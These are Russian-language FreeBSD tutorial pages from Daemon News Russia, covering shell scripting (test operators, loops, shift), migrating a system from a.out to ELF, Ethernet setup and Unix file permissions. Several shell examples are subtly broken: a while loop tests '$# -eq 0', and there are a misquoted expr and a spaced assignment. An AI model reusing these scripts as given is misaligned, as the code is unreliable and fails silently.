http://www.freebsd.bip.ru/shells.shtml (5 of 10)10.04.2004 17:23:45
Daemon News Russia
file1 -ot file2 Истинно, если файл file1 создан (изменен) раньше, чем файл file2. -z <строка> Истинно, если длина строки <строка> равна нулю. -n string Истинно, если длина строки <строка> не равна нулю. string1 = string2 Истинно, если строки равны. string1 != string2 Истинно, если строки не равны. ! <выражение> Истинно, если выражение ложно. <выражение1> -a <выражение2> Истинно, если оба выражения истинны. <выражение1> -o <выражение2> Истинно, если хотя бы одно из выражений истинно. <число1> -eq <число2> Истинно, если число <число1> равно числу <число2>. <число1> -ne <число2> Истинно, если число <число1> не равно числу <число2>. <число1> -lt <число2> Истинно, если число <число1> меньше числа <число2>. <число1> -le <число2> Истинно, если число <число1> меньше или равно числа <число2>. <число1> -gt <число2> Истинно, если число <число1> больше числа <число2>. <число1> -ge <число2> Истинно, если число <число1> больше или равно числа <число2>. Числами <число1> и <число2> могут быть положительные и отрицательные целые числа. Пример: if [ -x /usr/games/pool ] ; then /usr/games/pool else echo "не могу запустить файл" fi Этот же пример можно записать по-другому: [ -x /usr/games/pool ] && /usr/games/pool || echo "не могу запустить файл"
Циклы реализуются с помощью конструкций for, while. Цикл for записывается так: for <переменная> in <список> do <команды> done
http://www.freebsd.bip.ru/shells.shtml (6 of 10)10.04.2004 17:23:45
Daemon News Russia
Пример 1: for i in 1 2 3 do echo $i done Пример 2: for file in /etc/p* do echo $file done Этот цикл эквивалентен команде ls /etc/p*. Цикл while имеет вид: while <условие> do <команды> done Команды в теле цикла выполняются до тех пор, пока остается истинным <условие>. Пример: i=1 while [ $i -lt 5 ] do echo $i i = $(($i+1)) # можно было бы написать i=`expr $i + 1` done Другим вариантом цикла while является until. until <условие> do <команды>
http://www.freebsd.bip.ru/shells.shtml (7 of 10)10.04.2004 17:23:45
Daemon News Russia
done В этом случае команды в теле цикла выполняются до тех пор, пока <условие> остается ЛОЖНЫМ. i=1 until ! [ $i -lt 5 ] do echo $i i='expr $i + 1' done
Заметим, что по команде break можно выйти из тела цикла. Это справедливо и для цикла for и для while (until). Пример: i=1 while [ $i -gt 0 ] do echo $i i=`expr $i + 1` if [ $i -eq 10 ] ; then break fi done Передача аргументов. Команда shift. При запуске на выполнение, сценарию можно передать аргументы в командной строке. Например: # /usr/games/pool file1.txt user1 Для того, чтобы можно было работать с переданными аргументами, существует девять переменных - $1, $2, ... , $9. Они позиционно соответствуют переданным аргументам. Т.е. в нашем примере $1 содержит строку "file.txt", а $2 содержит строку "user1". Кроме того, в переменной $# содержится количество переданных аргументов. В нашем случае -2. Но что делать, если нужно передать, скажет, 15 аргументов ? Как получить доступ к аргументу с номером больше 9 ? Для этой цели существует команда shift, которая просто осуществляет сдвиг аргументов на одну позицию "влево". Т.е. $1 получает значение $2, $2 - $3 и т.д. При этом значение, которое было в http://www.freebsd.bip.ru/shells.shtml (8 of 10)10.04.2004 17:23:45
Daemon News Russia
$1 до сдвига - теряется. При этом сдвиге так же уменьшается на 1 значение $#. Рассмотрим это на примере. Создайте такой файл #!/usr/local/bin/bash i=1 while [ $# -eq 0 ] do echo "Аргумент $i - $1" shift i=`expr $i + 1` done Назовите его, например, my_shift. Запустите его так: # my_shift p1 p2 p3 p4
На экране вы увидете: Аргумент 1 - p1 Аргумент 2 - p2 Аргумент 3 - p3 Аргумент 4 - p Упражнения 1. Создайте в своей домашней директории несколько файлов с произвольным текстом. 2. Напишите скрипт, который бы принимал в качестве параметров имена этих файлов и добавлял их содержимое в файл, который передан первым в командной строке. 3. Запустите скрипт. Затем откройте файл-приемник, и проверьте, все ли правильно работает? Ответ (пример скрипта): #!/usr/local/bin/bash if [ $# -gt 1 ] ; then file=$1 i=$#
http://www.freebsd.bip.ru/shells.shtml (9 of 10)10.04.2004 17:23:45
Daemon News Russia
shift while [ $# -eq 0 ] do cat $1 >> $file shift done echo "Всего к файлу $file добавлено `expr $i - 1' файлов" else echo "Недостаточно аргументов" fi (c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/shells.shtml (10 of 10)10.04.2004 17:23:45
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Как перевести систему от a.out к ELF (миграция с 2.X на 3.X) новости
1) Что описывает этот документ? 2) Кому и почему следует сделать это? 3) Описание процесса перехода 3.0) Предварительные меры 3.1) Компиляция и установка системы в формате ELF 3.2) Компиляция и установка ядра в формате ELF 1) Что описывает этот документ? Данный документ описывает каким образом можно перевести FreeBSD с формата a.out на формат ELF. 2) Кому и почему следует сделать это? Всем, кто использует FreeBSD и собирается в дальнейшем использовать FreeBSD. Данная операция производится один раз. Этой операцией сдедует воспользоваться потому, что поддержка версий 2.2.X закончена, а вы, скорее всего, захотите пользоваться новым программным обеспечением, поставляемым в виде портов (aka ports). > Документ будет полезен пользователям, у которых возникли проблемы при переводе ядра из формата a.out в формат ELF. > Данную операцию aout-to-elf следует проводить для старых версий FreeBSD (aka 2.2.X и 3.0SNAP до 15.09.1998)), а пункт 3.2 будет полезен пользователям FreeBSD-3.0, желающим перейти на 3.0-STABLE. 3) Описание процесса перехода. 3.0) Предварительные меры Настоятельно рекомендуем осуществить резервное копирование! > Следует рассмотреть содержимое каталога /etc и сравнить его с содержимым каталога /usr/src/etc. Изменения, произошедшие, от версии 3.0-aout к версии 3.0-STABLE-ELF значительны. Например: появились новые системные псевдо-пользователи (bind, tty, kmem). Система при сборке захочет воспользоваться этими пользователями, >а не найдя их - сборка новой версии прекратится с сообщением об ошибке... Для проведения данной операции рекомендуется использование инструмента mergemaster из /usr/ports/sysutils. 3.1) Компиляция и установка системы в формате ELF http://www.freebsd.bip.ru/from3to4.shtml (1 of 3)10.04.2004 17:23:46
Daemon News Russia
> Перейдите в однопользовательский режим с помощью команды: > # shutdown now либо загрузите систему с опцией >-s и выполните в командной строке: > # fsck -p # mount -u / # mount -a -t ufs # swapon -a Очистите >/usr/obj: > # cd /usr/obj # chflags -R noschg * # rm -rf * Проверьте количество свободного пространства : > # df -k ........ >БУДЬТЕ ОСТОРОЖНЫ! Обратите внимание на количество свободного места тома /usr!!! При переходе с формата a.out на ELF понадобится около 400Mb свободного места. (синтаксис csh) > # setenv BINFORMAT aout # make aout-to-elf-build |& tee build.log Можно выпить чашечку кофе и т.д. Данная операция займет несколько часов. После её окончания следует заглянуть в build.log и проверить наличие ошибок. Если ошибок нет - то можно проводить инсталляцию. > # make aout-to-elf-install Процесс инсталляции ELF-версии достаточно интерактивен и интуитивен. В конце концов произойдет следующее: ● ●
> все "бинарники" будут заменены на аналогичными, но в формате ELF; > все библиотеки (aka libs) в формате a.out будут перенесены в соответствующие им директории на уровень ниже ../aout (например: aout-библиотеки из /usr/lib будут перемещены в /usr/lib/aout)
3.2) Компиляция и установка ядра в формате ELF > # cd /sys/i386/conf Следует рассмотреть ядро LINT. Некоторые драйверы поменяли свои название, а некоторые и вовсе были исключены. >Например: драйвер CD-ROM'а был переписан и название устройства изменено с >wcd0 на >acd0. > Итак, после исправлений в вашем ядре: > # config -r MY_KERNEL # cd ../../compile/MY_KERNEL # make depend # make # file kernel kernel: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked, not stripped # После сборки ядра ОС может выдать сообщение, о том, что новое ядро собрано в формате ELF, а загрузчик вашей ОС не поддерживает ядро в этом формате. > Следует сделать следующее: узнать название загрузочного диска (например:wd0s1); > # cat /etc/fstab обязательно убедится (!!!) в существовании каталога >/boot; создать файл >/boot.config следующим образом: > # echo /boot/loader > /boot.config Далее самая опасная операция: > # setenv SLICE wd0s1 # disklabel -B -b /boot/boot1 -s /boot/boot2 $SLICE >Если данная операция завершилась нормально, инсталлируем новое ядро: > # cd /sys/compile/MY_KERNEL # make install После перезагрузки (в момент загрузки FreeBSD) http://www.freebsd.bip.ru/from3to4.shtml (2 of 3)10.04.2004 17:23:46
Daemon News Russia
вы увидите следующее: >> FreeBSD/i386 BOOT
http://www.freebsd.bip.ru/from3to4.shtml (3 of 3)10.04.2004 17:23:46
(c) 2001-2002 Daemon News Russia
Daemon News Russia
новости \\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Конфигурация (Fast) Ethernet
Один из главных файлов конфигурации - /etc/rc.conf В этом файле в секции "Network configuration subsection" находятся описание сети. Сначала описываются возможные интерфейсы для построения сети, а потом команды для выполнения на каждом из интерфейсом. Моя сеть : 192.168.30.0 Моя сетевая маска : 255.255.255.0 Адрес машины с FreeBSD : 192.168.30.2 Моя сеть : transit.org Имя хоста : freeze.tranzit.org Выход во внешнюю сеть : 192.168.30.1 Name-server ( DNS ) : 192.168.30.1 # hostname="freeze.tranzit.org" network_interfaces="lo0 de0" ifconfig_lo0="inet lo0 127.0.0.1" ifconfig_de0="inet de0 192.168.30.2 -netmask 255.255.255.0" ... ... defaultrouter="192.168.30.1" Далее следует описать список name-server'ов и доменов. Это описание мы сделаем в файле / etc/resolv.conf: search tranzit.org nameserver 192.168.30.1 Обязательно посмотрите на содержимое файла /etc/host.conf: строка bind должна стоять выше строки hosts, например так: % cat /etc/host.conf # $Id: ethernet.html,v 1.5 2000/02/24 09:41:11 osa Exp $ # Default is to use the nameserver first bind # If that doesn't work, then try the /etc/hosts file hosts # If you have YP/NIS configured, uncomment the next line # nis С чего начать? Попробуем сконфигурить интерфейс "руками": # ifconfig de0 inet 192.168.30.1 netmask 255.255.255.0 В общем случае это должно работать! Но не всегда... Правильнее указать необходимое количество параметров. Можно написать и так: # ifconfig de0 inet 192.168.30.1 netmask 255.255.255.0 media 10baseT/UTP или так: # ifconfig de0 inet 192.168.30.1 netmask 255.255.255.0 media 10baseT/UTP broadcast 192.168.30.255 В общем случае драйвер выбирает подходящие параметры соединения. Конфигурируем один физический интерфейс на 2 сети: # ifconfig de0 inet 192.168.30.1 netmask 255.255.255.0 media 10baseT/UTP broadcast 192.168.30.255 # ifconfig de0 inet 192.168.31.1 netmask 255.255.255.0 Для чтения: man 8 ifconfig (c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/ethernet.shtml (1 of 2)10.04.2004 17:23:48
Daemon News Russia
новости \\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Типы файлов и права доступа
Поскольку любая Unix, и в частности FreeBSD - система многопользовательская, в ней предусмотрен механизм, ограничивающий доступ юзеров к файлам и директориям. Естественно, "доступ" означает не только возможность читать или изменять содержимое отдельных файлов, но и возможность создавать файлы (директории), удалять их, запускать файлы (если они являются исполняемыми), менять им названия, а также менять все те атрибуты, которые и определяют "право доступа", то есть - "кто и что" может проделывать с данным файлом или директорией. Прежде всего, надо отметить, что правильнее говорить не о "правах юзера" по отношению к какому-нибудь файлу, а о "правах процесса" (выполняемой программы). Во-первых, если юзер и вносит какие-то изменения в файлы или директории, он это делает с помощью каких-то программ (редакторов, "коммандеров", системных утилит для копирования, удаления файлов и т.п.), которые в момент выполнения являются процессами. Во-вторых (что более важно), не все программы запускаются юзерами "вручную". Некоторые из них (демоны) запускаются при старте системы. Другие могут запускаться в определенные моменты времени (с помощью программы cron), или вызываться по мере необходимости для обслуживания запросов приходящих по сети (обычно их запускает программа-"диспетчер" inetd). Кроме того, существует ряд программ, которые для выполнения каких-то вспомогательных действий сами запускают другие программы (в этом случае говорят, что процесс-"родитель" запустил процесс-"потомок"). Понятно, что хотелось бы и этим программам (процессам) ограничить доступ к файлам. И наконец, в-третьих, в некоторых случаях очень полезно, чтобы программа, запущенная юзером, имела больше прав, чем обычно имеет этот юзер. Например, обычный юзер не может даже читать файл, в котором "спрятаны" пароли всех юзеров. В то же время, любой юзер должен иметь возможность поменять свой личный пароль, не обращаясь для этого к администратору. Но для этого ему надо иметь возможность записать что-то в файл паролей. Значит программа, которая это делает (passwd) в момент выполнения должна иметь права намного большие, чем юзер, который ее запускает. Не вдаваясь в подробности, можно сказать, что каждый процесс имеет идентификатор юзера (userID). Обычно он совпадает с userID'ом того юзера, который запустил этот процесс. процессы, которые запустились автоматически, тоже имеют userID, как будто их запустил реальный юзер. Чей именно userID получают эти программы обычно определяется теми программами, которые их стартуют (программа-загрузчик, cron, inetd и т.д.). В простейших случаях программы-"потомки" просто "наследуют" userID от программы-"родителя", но http://www.freebsd.bip.ru/typeoffiles.shtml (1 of 10)10.04.2004 17:23:52
Daemon News Russia
некоторые "родители" могут запускать программы с другим userID (не совпадающим с собственным). некоторые программы в процессе выполнения могут поменять свой userID и, соответственно, получить права, которые сам юзер не имел. Естественно, для того, чтобы программа могла это сделать, администратор должен "разрешить" ей такое поведение (подробнее об этом будет сказано ниже). Кстати, изменение userID'а делается не только, когда нужно "расширить" права программы, но и наоборот - "сузить" до прав какого-нибудь конкретного юзера. если процесс может изменять свой userID, то различают "реальный userID" и "эффективный userID" (есть еще "сохраненный userID"). Реальный userID - это идентификатор юзера, который запустил процесс (или userID процесса-"родителя"). А эффективный - это новый userID, который задача получила во время выполнения. права на файл (или директорию) определяются по "эффективному userID" процесса. В простейшем случае, когда userID не меняется, "реальный" и "эффективный" userID'ы совпадают и можно говорить просто об userID'е процесса. Или даже просто о правах юзера (а не процесса) на файл. Какие атрибуты файла определяют "праводоступа". Все юзеры для каждого файла (или директории) делятся на три категории 1. владелец (или хозяин) этого файла 2. группа "особо допущенных" к этому файлу 3. все остальные. Это означает, что можно установить три различных "допуска" (набора прав доступа) для каждого файла или директории. Один такой набор будет определять права юзера, который является владельцем файла, другой набор будет определять права для юзеров, которые входят в некую группу, но не являются владельцами и, наконец, третий набор устанавливает права для всех остальных юзеров, которые не входят в эту группу "особо допущенных" и не являются владельцем файла. Следовательно, у каждого файла (директории) есть три атрибута, которые хранятся где-то в заголовке файла и регулируют доступ к нему. Конечно, атрибутов у файла не три, а больше. К атрибутам можно отнести имя файла, его размер, время создания и т.п. Но в данном случае нас интересуют только эти три. Итак. В заголовок файла записывается идентификатор юзера (userID), который считается его владельцем. Заметьте, что "хозяином" может быть только один определенный юзер. Кроме того, в атрибуты записывается идентификатор группы (groupID), который и определяет ту группу "особо допущенных" о которой говорилось выше. Каждая такая группа (ее название, числовой идентификатор - groupID и состав) определяется администратором системы. То есть "рядовой" юзер, даже если он и является хозяином файла, не может произвольно составить список "близких друзей", которым он доверяет особые права в отношении к своему файлу. Он может только выбрать подходящую группу из имеющихся (и то, только если он сам входит в эту группу).
http://www.freebsd.bip.ru/typeoffiles.shtml (2 of 10)10.04.2004 17:23:52
Daemon News Russia
И, наконец, в атрибутах файла есть некий набор битов или "флажков", который и указывает - кто и что может проделать с этим файлом. Этот набор называется permissions, что можно перевести как "допуски" или "права на доступ". Наберите команду ls -l (аналог команда dir в MS DOS) и вы увидите несколько строчек типа -rw-r--r-- 1 bob users 4297 23мар 17:37 list_us -rwxr-xr-x 1 bob users 1502 17мар 12:03 myProg -rw-r--r-- 1 bob users 5354 12мар 23:51 tmp.dat \________/ \_/ \___/ \__/ \__________/ \______/ "права" владелец группа длина дата имяфайла В третьей колонке вы видите имя (login name) юзера - "хозяина" этих файлов (в данном случае это - bob). В четвертой колонке - название группы, приписанной также к этим файлам (в данном случае - users). И, наконец, в самой первой колонке (набор знаков типа "r", "w" и "-") сами permissions для всех трех категорий пользователей. Надо заметить, что в самом заголовке файла хранятся, не имена юзеров и групп, а их числовые номера, а "права", на самом деле, представляют собой не цепочку букв, а набор двоичных битов. Просто команда ls изображает их в более "человеческом" виде. Основные биты доступа (чтение/запись/выполнение) Рассмотрим подробнее - что представляют собой "права доступа". При распечатке содержимого директории (например, командой ls) каждая строчка имеет вид -rw-r--r-- 1 bob users 4297 13мар 21:45 files1 причем нас интересует в данном случае только первая колонка. Она состоит из десяти знаков. Однако, самый первый знак не имеет отношения к permissions, а обозначает "тип этого объекта". Поскольку, в директории кроме файлов могут находиться поддиректории и, кроме того, в Юниксе, кроме обычных файлов существуют другие объекты ("линки", "очереди", "сокеты" и т.п.), которые также находятся в директориях и имеют атрибуты как и у обычных файлов. Так вот, первый символ как раз и показывает - что за объект мы видим, обычный файл (значок "-"), поддиректорию (значок "d") или еще какой-нибудь специфический объект ("l", "s", "p"...). Остальные девять знаков на самом деле представляют собой три группы по три символа. Каждая такая группа определяет права для какой-либо из трех категорий юзеров первая группа - права "хозяина" вторая группа - права "группы особо допущенных" третья группа - права для "всех остальных" Смысл отдельных битов в каждой такой группы "прав" одинаков для всех трех категорий пользователей, поэтому можно подробнее рассматривать любую такую группу, не уточняя - для какой категории юзеров она предназначена.
http://www.freebsd.bip.ru/typeoffiles.shtml (3 of 10)10.04.2004 17:23:52
Daemon News Russia
Однако, для файлов и директорий смысл этих битов немного отличается, поэтому их стоит рассмотреть отдельно. Для файлов. Первый бит, обозначается буквой "r" (read), и означает, что юзеру, подпадающему под соответствующую категорию, разрешается читать содержимое этого файла. То есть он может посмотреть содержимое файла, а также скопировать этот файл. Кстати, это не означает, что юзер сможет запустить его на выполнение (если это программа). Второй бит, обозначается буквой "w" (write) и разрешает писать в файл. То есть юзер сможет изменить содержимое файла (например, каким-нибудь редактором), дописать что-нибудь в конец или стереть все содержимое. Обратите внимание, этот бит еще не дает право удалить сам файл из директории или изменить ему название (это определяется правами на саму директорию), но дает возможность сделать этот файл пустым (нулевой длины) или скопировать в него содержимое другого файла (и тем самым "подменить" его). И, наконец, третий бит, обозначается буквой "x" (eXecute), позволяет запустить на выполнение этот файл, если он представляет собой программу или командный файл. Обратите внимание, что это также основной признак, по которому система догадывается о "запускаемости" этого файла. Часто начинающие пользователи составив какой-нибудь командный файл, забываю установить на него бит "исполнения" хотя бы для себя - владельца этого файла. В результате, при попытке запустить его, система сообщает, что "вы не имеете права" (выполнять этот файл). Естественно, что в данном случае причина не в том, что "злобный" администратор существенно "урезал" права этого юзера, а в том, что он сам забыл "наделить себя правом" (вполне законным). Для директорий. Первый бит ("r") разрешает читать оглавление этой директории, то есть список файлов и поддиректорий, находящихся в ней. Однако, этот бит еще не дает возможность зайти в эту директорию (командой cd) или получить доступ к содержимому, то есть читать/запускать/ изменять файлы, даже если "права доступа" установленные на самих файлах это позволяют. Поэтому, само по себе "право чтения" директории практически бесполезно и этот бит, как правило ставиться только вместе с битом "x". Немного забегая вперед, рассмотрим сразу третий бит - "x". Для директорий он как раз означает, что юзер может получит доступ к "компонентам", то есть отдельным файлам и поддиректориям. Только при наличии это бита, система разрешит войти в эту директорию и выполнить какое-нибудь действие с файлом, если сами файлы ("права доступа" на них) это позволят. Кстати, обратите внимание, что если даже внутренние поддиректории имеют "нормальные" права для какой-то категории юзеров, а вышестоящая директория - нет (отсутствует бит "x"), то этим юзерам не удастся "занырнуть" в поддиректории, минуя вышестоящую. Система проверяет полный "путь" до конечной директории или файла (например, /usr/share/misc/fonts) и, если хотя бы один из компонентов этого пути не имеет соответствующего бита, то юзеру будет отказано в доступе. Наконец, бит "w", установленный на директории, позволяет изменять оглавление директории. То есть, разрешает создавать новые файлы (или копировать другие файлы в эту директорию), менять названия файлов и удалять файлы. Обратите внимание на "разделение полномочий" между теми permissions, которые стоят на файле и теми, которые на директории. Как уже говорилось, если права на директорию не позволяют юзеру удалить файл, находящийся в ней (нет бита "w") это не означает, что юзер не сможет "удалить содержимое" файла (например, текстовым редактором).
http://www.freebsd.bip.ru/typeoffiles.shtml (4 of 10)10.04.2004 17:23:52
Daemon News Russia
С другой стороны, если юзер имеет право менять содержимое директории, он сможет удалить или переименовать любой, находящийся в ней файл, даже если права на самом файле не позволяют ему не то что писать в файл, но и читать его. (Правда, тут есть некоторые нюансы, смотри "Флаги") И еще на что следует обратить внимание. Никакие из перечисленных здесь прав не имеют отношения к изменениям самих "атрибутов доступа", то есть - владельца файла, группы и permissions. Их изменение подчиняется другим законам, о которых будет сказанониже. И последнее замечание. Все эти биты не имеют никакого эффекта для юзера root (и программ, которые во время выполнения поменяли свой "эффективный userID" на "рутовый"). То есть, он может делать с файлом или директорией все что хочет. Правда, и здесь есть одно исключение. Поскольку бит "x" на файле является основным признаком "исполняемости" этого файла, даже root не сможет убедить систему, что файл является программой и его можно выполнять, пока не поставит в атрибутах этот бит. Дополнительные биты доступа Кроме рассмотренных выше битов (чтение, запись и "исполняемость"), которые устанавливаются раздельно по трем категориям юзеров, есть еще три бита доступа, которые можно отнести к файлу в целом, поскольку их действие не зависит от того какой юзер (в смысле из какой категории) пытается обратиться к файлу. Да и смысл этих битов состоит не в ограничении доступа к файлу (директории). Они изменяют некоторые свойства файлов или директорий. Бит suid. Бит suid. Расшифровывается как Set user ID, переводится как "установить идентификатор юзера". Поскольку подходящего русскоязычного термина не существует, его обычно называют "суидный" бит, а файлы, на которых он установлен - "суидными". Смысл его состоит в том, что если он установлен на файле, который является программой, то при выполнении эта программа автоматически меняет "эффективный userID" на идентификатор того юзера, который является владельцем этого файла. То есть, не зависимо от того - кто запускает эту программу, она при выполнении имеет права хозяина этого файла. Обычно это делается для того, чтобы юзер мог выполнить действия, которые требуют привилегий root'а (например, поменять свой пароль). Естественно, что для этого владельцем такой программы должен быть юзер root. Понятно, что такая программа является "потенциально опасной". В "нормальном" случае она не позволит обычному юзеру сделать то, что выходит за пределы его полномочий (например, программа passwd разрешит юзеру изменить только собственный пароль, но не пароли других юзеров). Но, даже незначительная ошибка в такой программе может привести к тому, что "злоумышленник" сможет заставит ее выполнить еще какие-нибудь действия, не предусмотренные автором программы. Кстати, большинство известных способов "взлома" системы заключаются не в том, чтобы узнать пароль root'а, а как раз в том, чтобы заставить какую-нибудь из "суидных" программ выполнять действия необходимые "взломщику".
http://www.freebsd.bip.ru/typeoffiles.shtml (5 of 10)10.04.2004 17:23:52
Daemon News Russia
Вообще говоря, использование "суидных" программ (когда они нужны и для чего) - достаточно обширная тема выходящая за рамки разговора о permissions. Замечу только, что это не единственный путь сменить "эффективный userID". Это можно сделать из самой программы, вызвав специальную системную функцию, но для этого программы должна уже иметь права root'а. То есть, ее должен запустить юзер root, или она должна быть "суидной", как сказано выше. Возвращаясь к разговору о "правах доступа", надо сказать, что у такого файла permissions выглядят как **s****** (если еще и установлен бит x для владельца файла) или как **S****** (если бит x не установлен). Однако, ставить suid бит на неисполняемые файлы обычно не имеет смысла (по крайней мере в FreeBSD). Хотя, существуют программы, которые проверяли этот бит даже для текстовых файлов. Также, это бит не несет никакого смысла, если его поставить на директорию, хотя никто не запрещает это сделать. Бит sgid Бит sgid. Расшифровывается как Set group ID, переводится как "установить идентификатор группы". Эго смысл аналогичен смыслу предыдущего бита. Только меняется не идентификатор юзера, а идентификатор группы. То есть, при выполнении этого файла он имеет такие права, как будто его запустил кто-то из группы, которая приписана к этому файлу. Permissions такого файла выглядят как *****s*** (если установлен бит x для группы) или *****S** (если соответствующего бита x нет). Также как и в предыдущем случае, бит sgid для неисполняемых файлов никакого смысла не имеет. Что касается бита sgid на директории... Для FreeBSD (и других BSD-систем) этот бит, опять же, не оказывает никакого действия. Но в некоторых других Unix-системах он означает, что, когда файлы создаются в такой директории, в их атрибутах проставляется группа та же, что и у директории. Другими словами, файлы, создаваемые в такой директории "наследуют" группу от директории. Бит sticky Бит sticky. Никак не расшифровывается, переводится как "липкий". Выглядит в permissions, как ********t (если вместе с битом x для "всех остальных") или ********T (если соответствующего бита x нет). Для директорий его смысл заключается в том, что удалить файл из такой директории (или переименовать) может только владелец файла. Напомню, что в обычном случае (без такого бита) возможность удалять файлы (как и создавать) определяется правом записи (бит w) на директории. То есть, если какой-либо юзер принадлежит к категории, для которой разрешена запись в директорию, он может удалить в ней любой файл, независимо от атрибутов (владельца, группы, permissions) самого файла. Применяют этот бит, обычно, на директориях, которые являются "публичными" (например, /tmp). Такие директории имеют права доступа, позволяющие всем юзерам создавать там свои файлы и удалять их. Однако было бы неправильно, что любой другой юзер мог по ошибке или "из вредности" удалять файлы, к которым он не имеет никакого отношения. Для того чтобы предотвратить возможность удаления файла "посторонним" юзером, как раз и служит sticky бит. http://www.freebsd.bip.ru/typeoffiles.shtml (6 of 10)10.04.2004 17:23:52
Daemon News Russia
Этот бит может ставиться также на исполняемые файлы. В этом случае он означает, что файл, даже после завершения работы, должен оставаться в памяти (конечно, не в ОЗУ, а в swap). Это полезно для часто используемых исполняемых файлов общего пользования. На практике такие файлы встречаются очень редко. Возможно, практически он никем не используется. Сочетания битов доступа. Для файлов Обычно права на файл (например, для "всех остальных") устанавливаются --- никаких прав (нельзя ни читать, ни изменять содержимое) r-- только чтение rw- и чтение и запись (изменение) файла. Если файл является "исполняемым", то права могут выглядеть --- опять же, никаких прав (читать нельзя, запускать нельзя) r-x можно запустить файл-задачу на выполнение rwx можно не только запустить, но и что-нибудь в нем поменять Остальные сочетания (например -w- или --x) кажутся бессмысленными. Однако, это не всегда так. Рассмотрим подробнее. Права -w- означают, что юзер из соответствующей категории не может прочитать этот файл, но может в него писать. Конечно, для "исполняемого" файла это сочетание бессмысленно (запустить как задачу нельзя, но "покорежить" что-нибудь внутри - пожалуйста). Однако, если этот файл представляет собой что-то вроде "лога" или почтового ящика, то такие permissions могут иметь смысл. Например, вы допускаете, что другие юзеры (или какие-нибудь программы-автоматы) будут дописывать сюда свои "донесения", но не хотите, чтобы те же юзеры могли посмотреть - что туда написали другие. Правда, при этом никто не мешает тем же юзерам просто не читая, записать в этот файл чтонибудь, удалив при этом все старое содержимое файла. Или даже скопировать туда файл нулевой длины (или /dev/null), при этом, естественно, вообще никакого "содержимого" у вашего файла не станет. Однако, чтобы предотвратить такую ситуацию можно поставить на тот же файл флаг "только дозапись". Он не помешает вам читать свой файл, а другим юзерам дописывать в него что-нибудь. Правда, не даст даже вам стирать из файла все лишнее или удалить файл, пока вы не "снимите" флаг. Теперь посмотрим на исполняемые файлы. Права --x на самом деле вполне законная комбинация. Она означает, что запустить эту задачу можно (и получить от нее какой-то результат). Нельзя только скопировать этот файл себе или "залезть" в него отладчиком. Поэтому, такие permissions даже полезны, если вы хотите сохранить свою "интеллектуальную собственность". Комбинация -wx, пожалуй, смысла не имеет (как и просто -w- на исполняемом
http://www.freebsd.bip.ru/typeoffiles.shtml (7 of 10)10.04.2004 17:23:52
Daemon News Russia
файле). Вы просто даете возможность изменить содержимое, причем "вслепую" (поскольку посмотреть это содержимое нельзя). Результатом может быть только порча вашего файла. Также можно отнести к бессмысленным и права r-- на исполняемом файле. Если вы хотите таким способом "подразнить" кого-то (вот есть такой файл, можно посмотреть - как он внутри устроен, а выполнить нельзя), то не обольщайтесь. Другой юзер спокойно может скопировать этот файл себе, при этом он становится полноправным владельцем полученной копии. После этого он поставит на свою копию такие права, какие ему захочется и, все-таки, запустит его. Для директорий Для директорий обычно права доступа устанавливаются --- никаких прав r-x нормальные права для "посещения" директории, но без права изменения (создавать/удалять/ переименовывать файлы) rwx полный доступ (делай там что хочешь) Имеет ли смысл устанавливать какие-либо другие сочетания? Ну, во-первых, если отсутствует бит доступа --x (доступ к содержимому), то любая комбинация из двух остальных ничего полезного не даст. Комбинация r-- даст возможность получить список файлов в этой директории, например командой ls, и не более того. Причем посмотреть можно будет только имена файлов, а такие подробности, как владелец/группа/permissions будут недоступны. В такую директорию нельзя "войти" командой cd. И, даже если внутри нее поддиректории имеют вполне нормальные права доступа (например, r-x), попасть в них будет невозможно. Комбинации -w- и rw- имеют еще меньше смысла. Все равно, изменить что-нибудь в директории с такими правами доступа не удастся. А вот сочетания --x и -wx на самом деле вполне осмысленны. Таким способом можно сделать "полусекретную" директорию. "Секретность" ее заключается в том, что никто посторонний не сможет посмотреть - что за файлы и директории в ней находятся. Но, если вы своим друзьям сообщите - как называется файл находящийся там, они смогут без проблем его взять оттуда или посмотреть его прямо на месте. Аналогично и с поддиректориями. Если вы не хотите, чтобы кто-нибудь просто "бродя" по вашим директориям наткнулся на директорию с "секретным" содержанием, но, в тоже время, не против чтобы некоторые близкие друзья могли туда "захаживать" и знакомится с новыми пополнениями, "спрячьте" свои "приватные" директории в директорию (например private) с доступом --x. Тогда ваши друзья смогут попасть в нужную поддиректорию, указав полный путь (cd private/pictures), а случайные посетители ее просто не найдут (если, конечно, этот посетитель не root). Конечно, "секретность" в этом случае будет не полной, поскольку, если посторонний каким-то образом узнает правильное название файла или поддиректории, то получит те же возможности, что и "близкие друзья". Права -wx отличаются от предыдущего тем, что "доверенным лицам" можно писать в эту директорию. Они могут скопировать туда файл, удалить (если, конечно, знают его точное название) и т.п. Опять же, посторонний сможет разве что записать туда файл, который вы не просили. Удалить там что-нибудь или переименовать, не зная названий файлов (и http://www.freebsd.bip.ru/typeoffiles.shtml (8 of 10)10.04.2004 17:23:52
Daemon News Russia
поддиректорий), он не сможет. И, напоследок, еще один нестандартный случай, который касается распределения прав по категориям юзеров. Обычный порядок назначения прав различным категориям на файл или директорию владелец - полные права (rwx) группе доверенных лиц - тоже самое, но без права изменения (r-x) всем остальным - никаких прав (---) Вообще-то, обычно права назначаются даже еще проще. Поскольку, группы составляет root и рядовые юзеры, как правило, не выбирают себе соседей по группе, то их файлы и директории имеют одинаковые "допуски" для группы и "всех остальных". Например, для "несекретных" файлов (директорий) - rwxr-xr-x, а те, которые владелец хочет оградить от посторонних rwx------. Но в данном случае речь не об этом. Что будет, если "всем остальным" дать доступ, пусть и ограниченный, а для группы "особо приближенных" - наоборот убрать (выглядеть это будет примерно так - rwx---r-x)? Тогда группа, приписанная к файлу, превратится из группы "особо допущенных" в группу "особо нелюбимых". То есть некий "черный список", куда можно занести (естественно, сделать это может только root) всех тех, кто не пользуется доверием. Обратите внимание, что система, проверяя права конкретного юзера по отношению к файлу, сначала проверяет - не является ли он владельцем, потом - не входит ли он в группу, а уже после этого относит его ко "всем остальным". Так что, даже если "все остальные" имеют допуск к файлу, но юзер имел несчастье попасть в соответствующую группу, к нему будут применяться права доступа группы. Трудно судить - можно ли извлечь из этого какую-то пользу. Тем более, что составить "черный список" может только root. И, кроме того, не забудьте, 